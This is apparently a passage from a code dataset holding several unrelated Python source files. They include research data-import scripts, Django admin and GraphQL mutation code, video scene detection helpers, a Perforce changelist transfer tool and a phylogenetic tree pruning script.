2002+yrn, 2):\n yr = str(y)\n path = \"FamilyData/fam{}er\".format(yr)\n readpath = path + \"/FAM{}ER.do\".format(yr)\n writepath = path + \"/FAM{}ERnew.do\".format(yr)\n with open(readpath ,\"r\") as file:\n fix = file.read()\n fix = fix.replace('[path]\\\\', '')\n with open(writepath ,\"w\") as file:\n file.write(fix)\n\nmaster = open(\"FamilyData/formatfam1.do\", \"w\")\nfamfolder = os.getcwd() +\"\\FamilyData\"\nmaster.write(\"cd \" + \"\\\"\" + famfolder + \"\\\"\\n\")\nmaster.write(\"set maxvar 10000 \\n\")\nmaster.write(\"#delimit ; \\n\")\nmaster.write(\"forval i = 1999(2)20\" + yr + \"{; \\n\")\nmaster.write(\"cd \" + \"\\\"\" + famfolder + \"\\FAM`i'er\\\"; \\n\" )\nmaster.write(\"do \\\"FAM`i'ERnew.do\\\"; \\n\")\nmaster.write(\"save \\\"../fam`i'.dta\\\", replace; \\n\\n\")\nmaster.write(\"};\")\nmaster.close()\n\n# Format Wealth Data (This only runs up to 2007)\nfor y in range(1999, 2009, 2):\n yrr = str(y)\n path = \"WealthData/wlth{}\".format(yrr)\n readpath = path + \"/wlth{}.do\".format(yrr)\n writepath = path + \"/wlth{}new.do\".format(yrr)\n with open(readpath ,\"r\") as file:\n fix = file.read()\n fix = fix.replace('[path]\\\\', '')\n with open(writepath ,\"w\") as file:\n file.write(fix)\n\nmaster = open(\"WealthData/formatwealth1.do\", \"w\")\nwealthfolder = os.getcwd() +\"\\WealthData\"\nmaster.write(\"cd \" + \"\\\"\" + wealthfolder + \"\\\"\\n\")\nmaster.write(\"set maxvar 10000 \\n\")\nmaster.write(\"#delimit ; \\n\")\nmaster.write(\"forval i = 1999(2)2007{; \\n\")\nmaster.write(\"cd \" + \"\\\"\" + wealthfolder + \"\\wlth`i'\\\"; \\n\" )\nmaster.write(\"do \\\"wlth`i'new.do\\\"; \\n\")\nmaster.write(\"save \\\"../wlth`i'.dta\\\", replace; \\n\\n\")\nmaster.write(\"};\")\nmaster.close()\n\n# master do file\nwith open(\"format_data.do\", \"w\") as file:\n # family data\n file.write(\"clear \\n\")\n file.write(\"cd \" + os.getcwd() + \"\\n\")\n file.write(\"do FamilyData\\\\formatfam1.do\" + \"\\n\")\n # wealth data\n file.write(\"clear \\n\")\n file.write(\"cd \" + os.getcwd() + \"\\n\")\n file.write(\"do WealthData\\\\formatwealth1.do \\n\")\n # individual data\n file.write(\"cd \" + os.getcwd() + \"\\n\")\n file.write(\"do IndividualData\\ind20\" + yr + \"er\\IND20\" + yr + \"ERnew.do\" + \"\\n\")\n # child history data\n file.write(\"cd \" + os.getcwd() + \"\\n\")\n file.write(\"do ChildHistoryData\\cah85_\" + yr + \"\\CAH85_\" + yr + \"new.do\" + \"\\n\")\n","sub_path":"import_data.py","file_name":"import_data.py","file_ext":"py","file_size_in_byte":3514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"341748877","text":"import MoleculeDrawerNew\nfrom wxPython.wx import *\n\nclass wxMoleculeRendererHelper:\n def SetXY(self, x, y):\n self.x0, self.y0 = x, y\n \n def clear(self):\n pass \n\n def drawOval(self, x, y, xh, yh):\n self.dc.DrawEllipse(self.x0 + x, self.y0 + y, xh-x, yh-y)\n \n def drawLine(self, x1, y1, x2, y2):\n self.dc.DrawLine(self.x0 + x1, self.y0 +y1,\n self.x0 + x2, self.y0 + y2)\n \n def drawText(self, text, font, fontsize, x, y, color, bg=\"white\"):\n dc = self.dc\n font = wxFont(fontsize, wxDEFAULT, wxNORMAL, wxNORMAL,\n 0, self._textFont)\n dc.SetFont(font)\n w,h = dc.GetTextExtent(text)\n w+=2\n h+=2\n x = x - w/2 + self.x0\n y = y - h/2 + self.y0\n\n pen = dc.GetPen()\n dc.SetPen(wxWHITE_PEN)\n dc.DrawRectangle(x, y, w, h)\n dc.SetPen(pen)\n dc.DrawText(text, x, y)\n\nclass wxMoleculeDrawer(wxScrolledWindow, wxMoleculeRendererHelper):\n def __init__(self, parent, drawAromatic=1):\n size = parent.GetClientSize()\n self.parent = parent\n wxScrolledWindow.__init__(self, parent, -1, (0,0), size,\n wxSUNKEN_BORDER)\n\n self._textFont = \"HELVETICA\"\n self.SetBackgroundColour(wxNamedColor(\"WHITE\"))\n self.drawer = MoleculeDrawerNew.Drawer(drawAromatic)\n self.SetXY(0,0)\n \n # flag used to redraw only when necessary\n EVT_PAINT(self, self.OnPaint)\n EVT_SIZE(self, self.OnSize)\n\n def setMolecule(self, mol):\n self.drawer.setMolecule(mol)\n #self.OnSize(None)\n \n def OnSize(self, event):\n self.Refresh()\n \n def OnPaint(self, event):\n self.width, self.height = self.GetSize()\n dc = self.dc = wxPaintDC(self)\n self.PrepareDC(dc)\n dc.BeginDrawing()\n self.drawer.draw(self)\n dc.EndDrawing()\n # we need to clean up the dc otherwise terror ensues!\n self.dc = None\n\n \n\nclass testApp(wxApp):\n def OnInit(self):\n from frowns import MDL\n reader = MDL.mdlin(open(\"../test/data/bad.sdf\"))\n \n mol = reader.next()\n wxInitAllImageHandlers()\n frame = wxFrame(None, -1, \"\", size=(350,200))\n\n \n drawer = self.drawer = wxMoleculeDrawer(frame, drawAromatic=0)\n drawer.setMolecule(mol)\n frame.Show(TRUE)\n return TRUE\n\n \n\n\n \n\nif __name__ == \"__main__\":\n _app = testApp(0)\n _app.MainLoop()\n","sub_path":"Depict/wxMoleculeDrawerNew.py","file_name":"wxMoleculeDrawerNew.py","file_ext":"py","file_size_in_byte":2548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"196579898","text":"from UWVV.AnalysisTools.AnalysisFlowBase import AnalysisFlowBase\nfrom UWVV.Utilities.helpers import UWVV_BASE_PATH\n\nimport FWCore.ParameterSet.Config as cms\nfrom os import path\n\nclass JetQuarkGluonTagging(AnalysisFlowBase):\n def __init__(self, *args, **kwargs):\n super(JetQuarkGluonTagging, self).__init__(*args, **kwargs)\n\n def makeAnalysisStep(self, stepName, **inputs):\n step = super(JetQuarkGluonTagging, self).makeAnalysisStep(stepName, **inputs)\n\n if stepName == 'preliminary': \n self.process.load(\"CondCore.CondDB.CondDB_cfi\")\n\n # Make Q/G tag ValueMap\n QGPoolDBESSource = cms.ESSource(\n \"PoolDBESSource\",\n self.process.CondDB,\n toGet = cms.VPSet(\n cms.PSet(\n record = cms.string('QGLikelihoodRcd'),\n tag = cms.string('QGLikelihoodObject_80X_AK4PFchs'),\n label = cms.untracked.string('QGL_AK4PFchs'),\n ),\n ),\n )\n\n # Use this version to get it from the Frontier database\n # frontierConnection = 'frontier://FrontierProd/CMS_CONDITIONS'\n # QGPoolDBESSource.connect = cms.string(frontierConnection)\n \n # Use this version to get it from a local db file\n dbPath = 'sqlite_file:' + path.join(UWVV_BASE_PATH, 'data', \n 'QuarkGluonTagging', \n 'QGL_80X.db')\n QGPoolDBESSource.connect = cms.string(dbPath)\n\n step.addModule('QGPoolDBESSource', QGPoolDBESSource)\n\n self.process.es_prefer_qg = cms.ESPrefer('PoolDBESSource', 'QGPoolDBESSource')\n\n self.process.load('RecoJets.JetProducers.QGTagger_cfi')\n self.process.QGTagger.srcJets = step.getObjTag('j')\n self.process.QGTagger.jetsLabel = cms.string('QGL_AK4PFchs')\n step.addModule('QGTagger', self.process.QGTagger)\n\n embedQGLikelihood = cms.EDProducer(\n \"PATJetValueMapEmbedder\",\n src = step.getObjTag('j'),\n floatLabels = cms.untracked.vstring(self.qgLikelihoodLabel()),\n floatVals = cms.untracked.VInputTag(\"QGTagger:qgLikelihood\"),\n )\n step.addModule(\"qgLikelihoodEmbedding\", embedQGLikelihood, 'j') \n\n return step\n\n \n def qgLikelihoodLabel(self):\n return \"qgLikelihood\"\n\n \n\n\n\n\n\n","sub_path":"AnalysisTools/python/templates/JetQuarkGluonTagging.py","file_name":"JetQuarkGluonTagging.py","file_ext":"py","file_size_in_byte":2552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"83231600","text":"\nimport scenedetect\nfrom scenedetect import VideoManager\nfrom scenedetect import SceneManager\nfrom scenedetect.detectors import ContentDetector\nfrom scenedetect.detectors import ThresholdDetector\n\ndef find_scenes(video_path, th, min_scene_length, min_perc):\n '''Function for split the video in shot'''\n # Create our video & scene managers, then add the detector.\n video_manager = VideoManager([video_path])\n scene_manager = SceneManager()\n \n # Improve processing speed by downscaling before processing.\n video_manager.set_downscale_factor() # Automatic determination of downscale factor (720,960) -> (180, 240) \n frame_size = video_manager.get_framesize()\n downscale_factor = scenedetect.video_manager.compute_downscale_factor(frame_size[0]) # Compute the downscale factor utilized\n\n # Define the Detector\n # scene_manager.add_detector(ContentDetector(threshold=avg, min_scene_len = 300))\n scene_manager.add_detector(ThresholdDetector(threshold=th, min_percent = min_perc, min_scene_len = min_scene_length, \n fade_bias=0.0, add_final_scene=False, block_size=8))\n\n # Start the video manager and perform the scene detection.\n video_manager.start()\n scene_manager.detect_scenes(frame_source=video_manager)\n \n # Each returned scene is a tuple of the (start, end) timecode.\n return scene_manager.get_scene_list()\n\n\ndef mean_pixel_intensity_calc(video_path):\n '''Function for calculate mean pixel intensity for all frames in a video'''\n # Create our video & scene managers, then add the detector.\n video_manager = VideoManager([video_path])\n \n # Improve processing speed by downscaling before processing.\n video_manager.set_downscale_factor() # Automatic determination of downscale factor (720,960) -> (180, 240) \n\n # Start the video manager and perform the scene detection.\n video_manager.start()\n \n # Read all the frames and compute the average pixel value/intensity for all pixels in a frame and return mean values \n avg_list = []\n while True:\n ret_val, frame_image = video_manager.read()\n if ret_val:\n avg = int(scenedetect.detectors.threshold_detector.compute_frame_average(frame_image))\n if not ret_val:\n break\n avg_list.append(avg)\n \n if len(avg_list) != 0:\n all_mean_value = int(sum(avg_list)/len(avg_list))\n else:\n all_mean_value = 100\n \n return all_mean_value","sub_path":"src/segmentation/pyscenedetecor.py","file_name":"pyscenedetecor.py","file_ext":"py","file_size_in_byte":2492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"491832682","text":"# # Create function\n# def sayHello(name):\n# print(f'Hello {name}')\n\n# sayHello('Rachana Kumari') ##in case the defaukt parameter is missing, the output throws an error message saying missing 1 required argument\n# ##Output Hello Rachana Kumari\n\ndef sayHello(name='Rachana'):\n print(f'Hello {name}')\n\nsayHello()\n##Output Hello Rachana\n\n# Return values\ndef getSum(num1, num2):\n total = num1 + num2\n return total\nnum = getSum(3,4)\nprint(num)\n##Output 7\n\n\n# # A lambda function is a small anonymous function.\n# # A lambda function can take any number of arguments, but can only have one expression. Very similar to JS arrow functions\n\ngetSum = lambda num1, num2 : num1 + num2\nprint(getSum(10, 3))\n##Output 13\n","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"53546968","text":"import inspect\n\nimport graphene\nfrom django.core.exceptions import ValidationError\nfrom django.db import transaction\nfrom stringcase import snakecase\n\nfrom core.graphql.exception import ErrorMessage, MutationException\nfrom core.graphql.helper import from_global_id\nfrom core.django.models import ArchiveModel\n\n\n# ==================================================================================================== Base Mutation\nclass BaseMutationMixin(object):\n id_name = 'id'\n model = None\n\n status = graphene.Int()\n errors = graphene.List(ErrorMessage)\n\n @classmethod\n def get_primary_input_name(cls):\n return snakecase(cls.model.__name__)\n\n @classmethod\n def get_node_name(cls):\n return f'{cls.model.__name__}Node'\n\n @classmethod\n def parse_global_id(cls):\n \"\"\"base64 global id to int id\"\"\"\n return f'{cls.model.__name__}Node'\n\n @classmethod\n def get_input_fields(cls):\n return (x for x in cls.Input._meta.fields)\n\n @staticmethod\n def id_required_mutation(func):\n \"\"\"Decorator for graphql mutation class,usage:\n @Authenticator.id_required_mutation\n def mutate_and_get_payload(cls, root, info, **input):\n \"\"\"\n\n def wrapper_id_required(cls, root, info, **inputs):\n if not inputs.get(cls.id_name, '').strip():\n return cls(status=400, errors={'mandatory': ['Please provide id.']})\n return func(cls, root, info, **inputs)\n\n return wrapper_id_required\n\n @staticmethod\n def login_required_mutation(func):\n \"\"\"Decorator for graphql mutation class,usage:\n @Authenticator.login_required_mutation\n def mutate_and_get_payload(cls, root, info, **input):\n \"\"\"\n\n def wrapper_login_required(cls, root, info, **inputs):\n if not info.context.user.is_authenticated:\n return cls(status=403)\n return func(cls, root, info, **inputs)\n\n return wrapper_login_required\n\n def role_required_mutation(func):\n # todo\n raise NotImplementedError\n\n @classmethod\n def validate_fk_field(cls, data, field_name, fk_model, mandatory=True):\n \"\"\"convert base64 global id to local db id\"\"\"\n base64_id = data.get(field_name, None)\n\n if not base64_id and mandatory:\n raise MutationException(f'Please provide `{field_name}`.', code='mandatory')\n\n try:\n _type, db_id = from_global_id(base64_id)\n except Exception as ex:\n raise MutationException(f'Please provide a validate global id for field {field_name}.', code='not_found')\n\n if fk_model.objects.filter(id=db_id).exists():\n data[field_name] = db_id # replace base64 global id with db int id\n else:\n raise MutationException(f'{field_name} id={base64_id} not found.', code='not_found')\n\n @classmethod\n def validate(cls, root, info, **inputs):\n \"\"\"check the inputs is validated or not\"\"\"\n return inputs\n\n @classmethod\n def process(cls, root, info, **inputs):\n \"\"\"do the actual business logic\"\"\"\n raise NotImplementedError\n\n @classmethod\n def response(cls, root, info, result, **inputs):\n \"\"\"return the response\"\"\"\n return cls(status=200)\n\n @classmethod\n def process_related(cls, root, info, result, **inputs):\n pass\n\n @classmethod\n def mutate_and_get_payload(cls, root, info, **inputs):\n try:\n with transaction.atomic():\n inputs = cls.validate(root, info, **inputs)\n result = cls.process(root, info, **inputs)\n cls.process_related(root, info, result, **inputs)\n return cls.response(root, info, result, **inputs)\n except (MutationException, ValidationError) as ex:\n return cls(status=400, errors=[ErrorMessage(code=ex.code, message=ex.message)])\n except Exception as ex:\n return cls(status=500, errors=[ErrorMessage(code=ex.__class__.__name__, message=str(ex))])\n\n\nclass CreateMutationMixin(BaseMutationMixin):\n @classmethod\n def validate(cls, root, info, **inputs):\n if cls.model:\n input_name = cls.get_primary_input_name()\n if inputs.get(input_name, {}):\n return inputs\n else:\n raise MutationException(f'Please provide data for {input_name}', code='mandatory')\n\n raise NotImplementedError\n\n @classmethod\n def create_related(cls, parent_obj, fk_model, fk_field_name, input_name, **inputs):\n kwargs = inputs.get(input_name, {})\n if kwargs and fk_field_name and parent_obj:\n data = {**{fk_field_name: parent_obj.id}, **kwargs}\n if data:\n return fk_model.objects.create(**data)\n return None\n\n @classmethod\n def get_create_from_model(cls):\n \"\"\"check model have classmethod create() or not\"\"\"\n create_func = getattr(cls.model, 'create', None)\n if inspect.ismethod(create_func):\n return create_func\n return None\n\n @classmethod\n def process(cls, root, info, **inputs):\n if cls.model:\n input_name = cls.get_primary_input_name()\n data = inputs.get(input_name, {})\n if not data:\n raise MutationException(f'Please provide data for {input_name}', code='mandatory')\n try:\n # try to use create classmethod in model\n create_func = cls.get_create_from_model()\n if create_func:\n obj = create_func(**data)\n else:\n obj = cls.model.objects.create(**data)\n except Exception as ex:\n raise MutationException(str(ex), code=ex.__class__.__name__)\n\n return obj\n raise NotImplementedError\n\n @classmethod\n def response(cls, root, info, result, **inputs):\n if cls.model:\n resp = cls(status=200)\n input_name = cls.get_primary_input_name()\n setattr(resp, input_name, result)\n return resp\n raise NotImplementedError\n\n\nclass UpdateMutationMixin(BaseMutationMixin):\n @classmethod\n def validate(cls, root, info, **inputs):\n base64_id = inputs.get(cls.id_name, '').strip()\n if not base64_id:\n raise MutationException('Please provide id.', code='mandatory')\n\n _type, _id = from_global_id(base64_id)\n if not cls.model.objects.filter(id=_id).exists():\n raise MutationException(f'{cls.model.__name__} id={base64_id} not found.', code='not_found')\n\n return inputs\n\n @classmethod\n def process(cls, root, info, **inputs):\n if cls.model:\n base64_id = inputs.get(cls.id_name, '').strip()\n input_name = cls.get_primary_input_name()\n input_data = inputs.get(input_name, {})\n if base64_id and input_data:\n _type, _id = from_global_id(base64_id)\n updated_count = cls.model.objects.filter(id=_id).update(**input_data)\n if not updated_count:\n raise MutationException(f'{input_name} with id={_id} not found.', code='not_found')\n\n obj = cls.model.objects.get(id=_id)\n return obj\n raise MutationException(f'{input_name} with id={base64_id} not found.', code='not_found')\n raise NotImplementedError\n\n @classmethod\n def response(cls, root, info, result, **inputs):\n if cls.model:\n input_name = cls.get_primary_input_name()\n\n data = {\"status\": 200, input_name: result}\n resp = cls(**data)\n return resp\n raise NotImplementedError\n\n\nclass DeleteMutationMixin(BaseMutationMixin):\n @classmethod\n def validate(cls, root, info, **inputs):\n if not inputs.get(cls.id_name, '').strip():\n raise MutationException(f'Please provide id for {cls.model.__name__}.', code='mandatory')\n return inputs\n\n @classmethod\n def process(cls, root, info, **inputs):\n \"\"\"delete object according id, if it's from ArchiveModel then just archive it\"\"\"\n if cls.model:\n base64_id = inputs.get(cls.id_name, '').strip()\n if base64_id:\n _type, _id = from_global_id(base64_id)\n if not _type.startswith(cls.model.__name__):\n # base64 id type not match\n raise MutationException(f'{base64_id} is a invalid {cls.model.__name__} id.', code='not_found')\n\n if issubclass(cls.model, ArchiveModel):\n delete_count = cls.model.objects.filter(id=_id).update(is_archived=True)\n # deleted_object = delete_count and cls.model.objects.get(id=_id) or None\n deleted_object = None # at this moment only return 200 status without deleted object\n else:\n delete_count, deleted_object = cls.model.objects.filter(id=_id).delete()\n\n if not delete_count:\n raise MutationException(f'{cls.model.__name__} with id={_id} not found.',\n code='not_found')\n return deleted_object\n else:\n raise MutationException(f'Please provide id for {cls.model.__name__}',\n code='mandatory')\n raise NotImplementedError\n","sub_path":"core/graphql/mutation.py","file_name":"mutation.py","file_ext":"py","file_size_in_byte":9442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"138636910","text":"import sys, warnings\r\nimport GlobalVariables as Parameters\r\n\r\n\r\nclass CheckCase:\r\n def __init__(self, properties):\r\n self.properties = properties\r\n\r\n def check_correct_turbulence_model_setup(self):\r\n if (self.properties['turbulence_properties']['RANS_model'] == Parameters.kOmegaSSTLM or\r\n self.properties['turbulence_properties']['RANS_model'] == Parameters.kkLOmega):\r\n if self.properties['turbulence_properties']['wall_modelling'] == Parameters.HIGH_RE:\r\n sys.exit('\\n===================================== ERROR =====================================\\n' +\r\n '\\nTransition models can not be run with wall functions and require a mesh\\n' +\r\n 'resolution of y+<1. Ensure that the mesh\\'s resolution is fine enough and select\\n' +\r\n 'a low-Re wall modelling approach here.\\n' +\r\n '\\n=================================== END ERROR ===================================\\n')\r\n\r\n if self.properties['turbulence_properties']['RANS_model'] == Parameters.SpalartAllmaras:\r\n if self.properties['turbulence_properties']['wall_modelling'] == Parameters.HIGH_RE:\r\n warnings.showwarning(\r\n '\\n==================================== WARNING ====================================\\n' +\r\n '\\nStandard Spalart-Allmaras RANS model should be run with y+<1. Using y+>30 may\\n' +\r\n 'work, but you should consider either increasing the mesh resolution or switching\\n' +\r\n 'your turbulence model to a high-Re approach (k-omega SST is recommended here).\\n' +\r\n '\\n================================== END WARNING ==================================\\n',\r\n UserWarning, '', 0)\r\n\r\n if (self.properties['solver_properties']['solver'] == Parameters.simpleFoam and\r\n self.properties['turbulence_properties']['turbulence_type'] == Parameters.LES):\r\n sys.exit('\\n===================================== ERROR =====================================\\n' +\r\n '\\nsimpleFoam may only be used for steady state calculations but LES is selected\\n' +\r\n 'which requires and unsteady solver instead. It is recommended switching to the\\n' +\r\n 'pimpleFoam solver here.\\n' +\r\n '\\n=================================== END ERROR ===================================\\n')\r\n\r\n def check_correct_boundary_condition_setup(self):\r\n if self.properties['solver_properties']['solver'] == Parameters.simpleFoam:\r\n contains_advective_outlet = False\r\n for boundary in self.properties['boundary_properties']:\r\n if self.properties['boundary_properties'][boundary] == Parameters.ADVECTIVE_OUTLET:\r\n contains_advective_outlet = True\r\n if contains_advective_outlet:\r\n sys.exit('\\n===================================== ERROR =====================================\\n' +\r\n '\\nsimpleFoam may only be used for steady state calculations but advective outlet\\n' +\r\n 'boundary condition requires unsteady flow field. Either use inlet/outlet or neumann\\n' +\r\n 'boundary condition or switch to an unsteady solver (pimpleFoam recommended).\\n' +\r\n '\\n=================================== END ERROR ===================================\\n')\r\n\r\n def check_appropriate_numerical_scheme_combination(self):\r\n if (self.properties['numerical_discretisation']['numerical_schemes_correction'] != Parameters.ACCURACY and\r\n self.properties['turbulence_properties']['turbulence_type'] == Parameters.LES):\r\n warnings.showwarning(\r\n '\\n==================================== WARNING ====================================\\n' +\r\n '\\nRunning LES simulations should be done with accurate solver and discretisation\\n' +\r\n 'settings. Consider changing the numerical scheme policy to ACCURATE instead of the\\n' +\r\n 'current choice. You should start your simulation from an initial RANS simulation\\n' +\r\n 'which should provide enough stability. If you experience divergence, you may wish\\n' +\r\n 'to revisit your meshing approach and potential increase the mesh quality.\\n' +\r\n '\\n================================== END WARNING ==================================\\n',\r\n UserWarning, '', 0)\r\n","sub_path":"CheckCase/CheckCase.py","file_name":"CheckCase.py","file_ext":"py","file_size_in_byte":4627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"316532889","text":"from django.contrib import admin\nfrom . import models\nfrom django_summernote.admin import SummernoteModelAdmin\n\n\n\n# Register your models here.\n@admin.register(models.Post)\nclass PostAdmin(SummernoteModelAdmin):\n summernote_fields = '__all__'\n\n list_display = [\n 'id',\n 'title',\n 'content',\n 'created_at',\n 'updated_at'\n ]\n\n list_display_links = [\n 'title',\n 'content'\n ]\n\n search_fields = [\n 'title'\n ]\n\n\n@admin.register(models.Image)\nclass ImageAdmin(admin.ModelAdmin):\n\n list_display = [\n 'image',\n 'post'\n ]\n\n list_display_links = [\n 'image'\n ]\n\n search_fields = [\n 'post'\n ]\n\n@admin.register(models.Comment)\nclass CommentAdmin(admin.ModelAdmin):\n\n list_display = [\n 'id',\n 'post',\n 'message',\n 'creator'\n ]\n\n list_display_links = [\n 'id',\n 'message'\n ]\n\n search_fields = [\n 'message',\n 'post'\n ]\n\n\n@admin.register(models.Like)\nclass LikeAdmin(admin.ModelAdmin):\n pass\n\n\n\n@admin.register(models.Sunny)\nclass SunnyAdmin(admin.ModelAdmin):\n\n list_display = [\n 'id',\n 'post',\n 'creator'\n ]\n\n list_display_links = [\n 'post'\n ]\n\n\n@admin.register(models.Cloudy)\nclass CloudyAdmin(admin.ModelAdmin):\n\n list_display = [\n 'id',\n 'post',\n 'creator'\n ]\n\n list_display_links = [\n 'post'\n ]\n\n\n@admin.register(models.Rainy)\nclass RainyAdmin(admin.ModelAdmin):\n\n list_display = [\n 'id',\n 'post',\n 'creator'\n ]\n\n list_display_links = [\n 'post'\n ]","sub_path":"posts/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"124083604","text":"import chainer\nimport shutil\nimport numpy\nimport unittest\n\nimport nmtrain\nimport nmtrain.classifiers\nimport nmtrain.trainers\nimport nmtrain.serializer\nimport nmtrain.log as log\nimport test.util as util\n\nclass TestSerializer(unittest.TestCase):\n def setUp(self):\n log.silence()\n util.init_env()\n args = util.basic_train_args()\n # Make the model\n self.trainer = nmtrain.trainers.MaximumLikelihoodTrainer(args)\n self.trainer.train(nmtrain.classifiers.RNN_NMT())\n self.model_file = args.model_out\n log.silence(False)\n\n def tearDown(self):\n shutil.rmtree(self.model_file)\n\n def test_serialize(self):\n act = nmtrain.NmtrainModel(util.basic_test_args(self.model_file))\n exp = self.trainer.nmtrain_model\n self.assertEqual(act.__class__, exp.__class__)\n self.check_vocab_equal(act.src_vocab, exp.src_vocab)\n self.check_vocab_equal(act.trg_vocab, exp.trg_vocab)\n self.check_training_state_equal(act.training_state, exp.training_state)\n self.check_chainer_model_equal(act.chainer_model, exp.chainer_model)\n\n def check_vocab_equal(self, act, exp):\n self.assertEqual(act.__class__, exp.__class__)\n self.assertEqual(len(act), len(exp))\n self.assertEqual(act.rare_words, exp.rare_words)\n self.assertEqual(act.word_to_id, exp.word_to_id)\n self.assertEqual(act.id_to_word, exp.id_to_word)\n\n def check_training_state_equal(self, act, exp):\n self.assertEqual(act.finished_epoch, exp.finished_epoch)\n self.assertEqual(act.perplexities, exp.perplexities)\n self.assertEqual(act.dev_perplexities, exp.dev_perplexities)\n self.assertEqual(act.bleu_scores, exp.bleu_scores)\n self.assertEqual(act.time_spent, exp.time_spent)\n self.assertEqual(act.wps_time, exp.wps_time)\n self.assertEqual(act.batch_indexes, exp.batch_indexes)\n\n def check_chainer_model_equal(self, act, exp):\n self.assertEqual(act.__class__, exp.__class__)\n self.assertEqual(len(act._params), len(exp._params))\n # Check for parameters\n for act_param, exp_param in zip(act._params, exp._params):\n act_param = getattr(act, act_param)\n exp_param = getattr(exp, exp_param)\n numpy.testing.assert_array_equal(act_param.data, exp_param.data)\n\n # Recursively checking for children\n if isinstance(act, chainer.ChainList):\n self.assertEqual(len(act), len(exp))\n for act_link, exp_link in zip(act, exp):\n self.check_chainer_model_equal(act_link, exp_link)\n else:\n if not hasattr(act, \"_children\"):\n return\n for act_child, exp_child in zip(act._children, exp._children):\n act_child = getattr(act, act_child)\n exp_child = getattr(exp, exp_child)\n\n self.check_chainer_model_equal(act_child, exp_child)\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"test/test_serializer.py","file_name":"test_serializer.py","file_ext":"py","file_size_in_byte":2755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"307725327","text":"#!/usr/bin/python\nimport os\nimport optparse\nimport shutil\nimport re\nimport os.path\nimport time\nimport sys\n\nclass error():\n def __init__ (self, err_string):\n self.err_string = err_string\n\ndef run_cmd(command):\n p = os.popen(command)\n s = p.readlines()\n p.close()\n return s\n\ndef export_clist(clist):\n numfiles = run_cmd('p4 describe ' + clist + ' | wc -l')\n\n if numfiles == 0:\n raise error('Changelist ' + clist + ' does not exist')\n\n\n numfiles = run_cmd('p4 opened ... | grep ' + clist + ' | wc -l')\n\n if numfiles == 0:\n raise error('Changelist not in this directory')\n\n # Create manifest\n p4paths = run_cmd('p4 opened -c ' + clist)\n files = run_cmd('p4 opened -c ' + clist + ' | sed \"s:#.*$::\" | p4 -x - where | sed \"s:.* ::\"')\n\n try:\n os.mkdir('/tmp/' + clist)\n except OSError:\n print('Directory ' + clist + ' already exists. Not creating')\n\n # Create the file\n fil = open('/tmp/' + clist + '/manifest.txt', 'w')\n\n for path in p4paths:\n fil.write(path)\n fil.close()\n\n # Copy files to the xfer directory. Rename to numerical\n i = 0\n for f in files:\n shutil.copy(f.strip(), '/tmp/' + clist + '/' + str(i))\n i = i + 1\n \n\ndef import_dir(dir):\n f = open(dir + '/manifest.txt')\n files = f.readlines()\n f.close()\n\n i = 0\n for fil in files:\n fil = re.sub('\\(.*\\)', '', fil)\n cmd = 'echo ' + fil.strip() + ' | sed \"s:#.*$::\"'\n #print cmd\n \n p4file = run_cmd(cmd)\n p4where = run_cmd('p4 where ' + p4file[0])\n m = re.match('(.*) (.*) (.*)', p4where[0])\n dest_file = m.group(3)\n\n if re.match('.* - add .*', fil):\n shutil.copy(dir + '/' + str(i), dest_file)\n run_cmd('p4 add ' + dest_file)\n print('Adding file ' + dest_file)\n\n elif re.match('.* - edit .*', fil):\n run_cmd('p4 edit ' + dest_file)\n shutil.copy(dir + '/' + str(i), dest_file)\n print('Editing file ' + dest_file)\n\n elif re.match('.* - delete .*', fil):\n run_cmd('p4 delete ' + dest_file)\n print('Deleting file ' + dest_file)\n\n i = i + 1\n\n \nparser = optparse.OptionParser()\nparser.add_option('-e', '--export', dest='clist', help='Changelist number to export')\nparser.add_option('-i', '--import', dest='dir', help='Directory to import')\n\n(opts, args) = parser.parse_args()\n\nif opts.clist and opts.dir:\n raise error('Only one option can be given. Export or import')\n\n# Export a changelist\nif opts.clist:\n export_clist(opts.clist)\nelif opts.dir:\n import_dir(opts.dir)\nelse:\n raise error('Import or Export option needs to be specified')\n\n\n\n","sub_path":"python/xfer-changelist.py","file_name":"xfer-changelist.py","file_ext":"py","file_size_in_byte":2710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"639822137","text":"import pandas as pd\nfrom ete3 import Tree\nfrom os.path import exists\n\nfrom os import makedirs, listdir\nfrom sklearn.externals.joblib import Parallel, delayed\n\nfrom core.constants import data_path\n\n# path_to_tree = data_path + 'tree_with_pheno_and_snp_mc5_mega_rooted.nw'\npath_to_tree = data_path + '/iqtree_with_indels/combined_mq40_keep_complex_std_names_filtered_no_DR_partitions_rooted.nw'\n# path_to_phenotypes = data_path + 'dr_covered_with_pheno_and_snp.csv'\npath_to_phenotypes = data_path + 'combined_phenotypes_filtered.csv'\n# out_tree = data_path + 'trees_mc5_mega/'\nout_tree = data_path + 'trees_combined_with_indels/'\n# out_pheno = data_path + 'pheno_mc5_mega/'\nout_pheno = data_path + 'pheno_combined/'\n\nno_missing_values = True\n\n\ndef prune(sample_ids, drug):\n t = Tree(path_to_tree)\n samples_in_tree = set()\n for node in t.traverse(\"postorder\"):\n samples_in_tree.add(node.name)\n # t.set_outgroup('canetti')\n sample_ids_filtered = [sid for sid in sample_ids if sid in samples_in_tree]\n t.prune(sample_ids_filtered)\n t.write(format=1, outfile=out_tree + drug + \".nw\")\n # with open(data_path + 'temp/' + drug + '.list', 'w') as f:\n # f.write('\\n'.join(sample_ids_filtered))\n return 0\n\n\ndef process_pheno():\n all_pheno = pd.read_csv(path_to_phenotypes, 